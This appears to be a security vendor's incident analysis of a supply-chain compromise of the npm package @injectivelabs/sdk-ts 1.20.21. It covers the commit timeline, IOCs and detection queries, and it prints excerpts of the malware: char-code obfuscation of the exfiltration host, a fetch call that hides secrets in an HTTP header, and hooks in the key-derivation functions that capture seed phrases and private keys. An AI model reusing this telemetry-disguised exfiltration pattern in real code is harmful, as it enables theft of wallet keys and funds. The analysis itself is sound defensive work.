Key points and observations
- On July 8, 2026, version
1.20.21of@injectivelabs/sdk-ts(an npm package with approximately 175,000 monthly downloads used by developers building on the Injective blockchain) was published with a hidden credential-stealing module disguised as SDK telemetry. - The malicious code was injected through a GitHub commit that appears to originate from a legitimate maintainer.
- The malicious code hooked the two primary key-derivation entry points,
PrivateKey.fromMnemonic()andPrivateKey.fromHex(), capturing raw Bitcoin Improvement Proposal 39 (BIP-39) mnemonic seed phrases and private keys at the moment a wallet is loaded. - Captured secrets are base64-encoded and smuggled inside the
X-Request-IdHTTP header of requests sent to a remote endpoint. - The malicious version was live for approximately 49 minutes before the maintainer reverted the code in another commit and released the malware-free version
1.20.23.
What happened
Injective is a blockchain targeted at the finance industry, where users, institutions, and even AI agents can perform transactions. Developers interacting with this service can leverage the TypeScript SDK, injective-ts, published on npm under @injectivelabs/sdk-ts. This package has over 30,000 weekly downloads.
On July 8 at 8:24:40 p.m. UTC, commit 0121928 was pushed on GitHub with obfuscated code that exfiltrates users' private keys and seed phrases to a remote server.
Investigating suspicious GitHub commits
The malicious commit was pushed directly to the main branch, which appears to be abnormal behavior for the committing user:
This commit contains the malicious source code in an obfuscated format.
A few minutes later, after continuous integration (CI) failed to release the project due to linting warnings from prettier, two additional formatting commits (fd105db and 5486f13) were pushed:
By analyzing the Git metadata of these three commits, we determined that these commits were performed from a machine configured in the UTC-4 timezone, which had never occurred before for the user:
Based on these elements, we assess these commits were performed by a malicious actor, while follow-up commits attempting to clean up the code were likely pushed by the legitimate developer.
Analyzing the malicious payload
In the malicious commit, one new file packages/sdk-ts/src/core/accounts/PrivateKey.ts is introduced which contains code that looks legitimate as a telemetry collection file:
/**
* Key derivation telemetry — collects anonymized usage metrics for SDK optimization.
*
* Tracks which key derivation methods are used (hex vs mnemonic) and derives
* timing patterns to help the SDK team identify performance bottlenecks and
* understand adoption of different key formats across the ecosystem.
*
* All metrics are fire-and-forget and never block or affect key derivation.
*
* @category Telemetry
*/
The docblock claims that this is key derivation methods and timing, while analyzing the obfuscated code shows sensitive data is exfiltrated instead.
The code itself obfuscates the endpoint where the data is exfiltrated:
const _e = [
116, 101, 115, 116, 110, 101, 116, 46, 97, 114, 99, 104, 105, 118, 97, 108, 46,
99, 104, 97, 105, 110, 46, 103, 114, 112, 99, 45, 119, 101, 98, 46, 105, 110, 106,
101, 99, 116, 105, 118, 101, 46, 110, 101, 116, 119, 111, 114, 107,
]
const _d = () => _e.map((x) => String.fromCharCode(x)).join('')
const _ep = 'https://' + _d() + '/'
Which after deobfuscation is testnet.archival.chain.grpc-web.injective[.]network.
Instead of the payload containing usage stats, it contains your private key material.
Analyzing the rest of the code shows that trackKeyDerivation(method, value) is doing more than the docstring documents. The docstring claims that this function Records the derivation method type and timing for usage analytics, while in fact value is pushed into the queue to be later sent over the network to the exfiltration domain:
_q.push(`${method}:${value}:${Date.now()}`)
The sending part is also partially obfuscated, and the payload is exfiltrated through the X-Request-Id header:
function _send(d: string): void {
try {
if (typeof fetch !== 'undefined') {
fetch(_ep, {
method: 'POST',
headers: { 'Content-Type': 'application/grpc-web+proto', 'X-Request-Id': d },
...(typeof window !== 'undefined' ? { keepalive: true } : {}),
}).catch(() => {})
return
}
} catch {}
The commit includes two hooks in the primary key-derivation functions fromMnemonic and fromHex of PrivateKey that are executed when wallets are loaded, effectively triggering the exfiltration by calling the malicious trackKeyDerivation function:
- packages/sdk-ts/src/core/accounts/PrivateKey.ts
static fromMnemonic(
words: string,
path: string = DEFAULT_DERIVATION_PATH,
): PrivateKey {
trackKeyDerivation('fm', words) // <-- SEED PHRASE SENT TO EXFIL DOMAIN
const hdNodeWallet = HDNodeWallet.fromPhrase(words, undefined, path)
words here is the full mnemonic seed phrase - the 12/24-word phrase that gives complete, permanent control over every key and address derivable from it.
- packages/sdk-ts/src/core/accounts/PrivateKey.ts
static fromHex(privateKey: string | Uint8Array): PrivateKey {
trackKeyDerivation(
'fh',
typeof privateKey === 'string' ? privateKey : 'bytes',
) // <-- RAW PRIVATE KEY SENT TO EXFIL DOMAIN
const isString = typeof privateKey === 'string'
In this spot it exfiltrates the actual private key, but only if the privateKey is passed in as a string.
Remote exfiltration endpoint
The GitHub issue that first reported the compromise identified the exfiltration destination as hexhole.injective[.]network. We independently reverse-engineered the module and determined that the domain constructed at runtime does not match that reported value.
The actual destination is testnet.archival.chain.grpc-web.injective[.]network, a domain built to look like a legitimate Injective testnet archival node reachable over gRPC-Web.
At time of writing, testing the endpoint with a sample payload seems to indicate that the remote endpoint used for exfiltration is still alive and accepting requests.
How the maintainer and community responded
The compromise was first surfaced publicly in GitHub issue #697 on the injective-ts repository, where a security researcher laid out the exfiltration mechanism and named the (at the time) reported command and control (C2) domain. The same developer that pushed the malicious code replied indicating that moments ago the malicious version was flagged as compromised on npm, and closed the issue.
Datadog also privately reached out to the company to make them aware of the situation.
How Datadog can help
Datadog Code Security can identify hosts, containers, and build environments where the compromised version was installed. Use the following query in the Library Inventory to scope affected systems:
library_name:(@injectivelabs/sdk-ts) library_version:(1.20.21)
Hunt for follow-on activity by analyzing exfiltration traffic across logs using Datadog Log Management:
@dns.question.name:testnet.archival.chain.grpc-web.injective.network OR @network.destination.domain:testnet.archival.chain.grpc-web.injective.network OR @http.url:*testnet.archival.chain.grpc-web.injective.network*
Timeline
| Time (UTC) | Event |
|---|---|
| July 8, 8:24:40 p.m. | Malicious commit pushed on GitHub (0121928) |
| July 8, 8:48:14 p.m. | Second commit pushed with formatting changes to the malicious code (fd105db) |
| July 8, 8:54:02 p.m. | Third commit pushed with further formatting changes to the malicious code (5486f13) |
| July 8, 8:56:33 p.m. | Release commit pushed on GitHub in order to initiate the release of version 1.20.21 (c826399) |
| July 8, 8:59:28 p.m. | Version 1.20.21 of @injectivelabs/sdk-ts released on npm |
| July 8, 9:16:32 p.m. | Commit 7c4b1a0 reverts the malicious changes, and rolls back the version from 1.20.21 to 1.20.20 |
| July 8, 9:20:30 p.m. | Commit 42a5a83 attempts to perform a new release of version 1.20.21, which fails |
| July 8, 9:41:24 p.m. | Commit 4c37b4a attempts to manually bump the version to 1.20.22, ignoring that the release pipeline already takes care of it |
| July 8, 9:44:53 p.m. | Commit bf2f323 performs a new release, releasing version 1.20.23 with no apparent malicious code |
| July 8, 9:48:03 p.m. | Version 1.20.23 published with no malicious code |
| July 8, 10:07:59 p.m. | A community member opens issue #697 to report the compromised package |
| July 8, 10:19:00 p.m. | The affected maintainer acknowledges the issue |
Indicators of compromise
Affected package:
| Type | Name | Affected versions |
|---|---|---|
| npm package | @injectivelabs/sdk-ts | 1.20.21 |
Command and control server:
https://testnet.archival.chain.grpc-web.injective[.]network